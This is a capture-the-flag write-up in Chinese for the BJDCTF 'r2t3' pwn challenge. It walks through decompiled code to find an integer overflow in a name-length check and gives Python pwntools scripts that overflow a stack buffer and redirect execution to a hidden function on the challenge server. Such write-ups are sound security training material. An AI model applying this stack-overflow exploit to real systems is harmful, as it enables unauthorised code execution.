CTF-Pwn-[BJDCTF 2nd] r2t3
博客说明
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
CTP平台
网址
题目
Pwn类,[BJDCTF 2nd] r2t3
下载题目的文件
R2t3
思路
使用file命令查看,发现是32位的文件,使用ida32位打开
进入主函数,使用F5反编译后得到
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+0h] [ebp-408h]
my_init();
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("[+]Ret2text3.0?");
puts("[+]Please input your name:");
read(0, &buf, 0x400u);
name_check(&buf);
puts("Welcome ,u win!");
return 0;
}
首先是判断内存是否溢出
我们首先看的话说就是这个&buf,可以双击点进去看,并没有溢出
那这个题目肯定是有漏洞的,看下一个name_check这个方法,同样的双击点进去可以看到
char *__cdecl name_check(char *s)
{
char dest; // [esp+7h] [ebp-11h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Oops,u name is too long!");
exit(-1);
}
printf("Hello,My dear %s", s);
return strcpy(&dest, s);
}
看到上述的代码,可以判断是整形溢出
安装LibcSearcher库
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py install
写一个脚本
Python2
#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',29748)
p.recvuntil("name:")
payload=(0x11+0x4)*'a'+p32(0x0804858B)
payload=payload.ljust(262,'a')
p.sendline(payload)
p.interactive()
Ptyhon3
#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',29748)
p.recvuntil("name:")
payload=(0x11+0x4)*b'a'+p32(0x0804858B)
payload=payload.ljust(262,b'a')
p.sendline(payload)
p.interactive()
注意python版本的区别,在byte类型前面添加b,这个是python3需要的否则会报错
测试
然后我们测试运行
flag就找到了
感谢
BUUCTF以及勤劳的自己
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。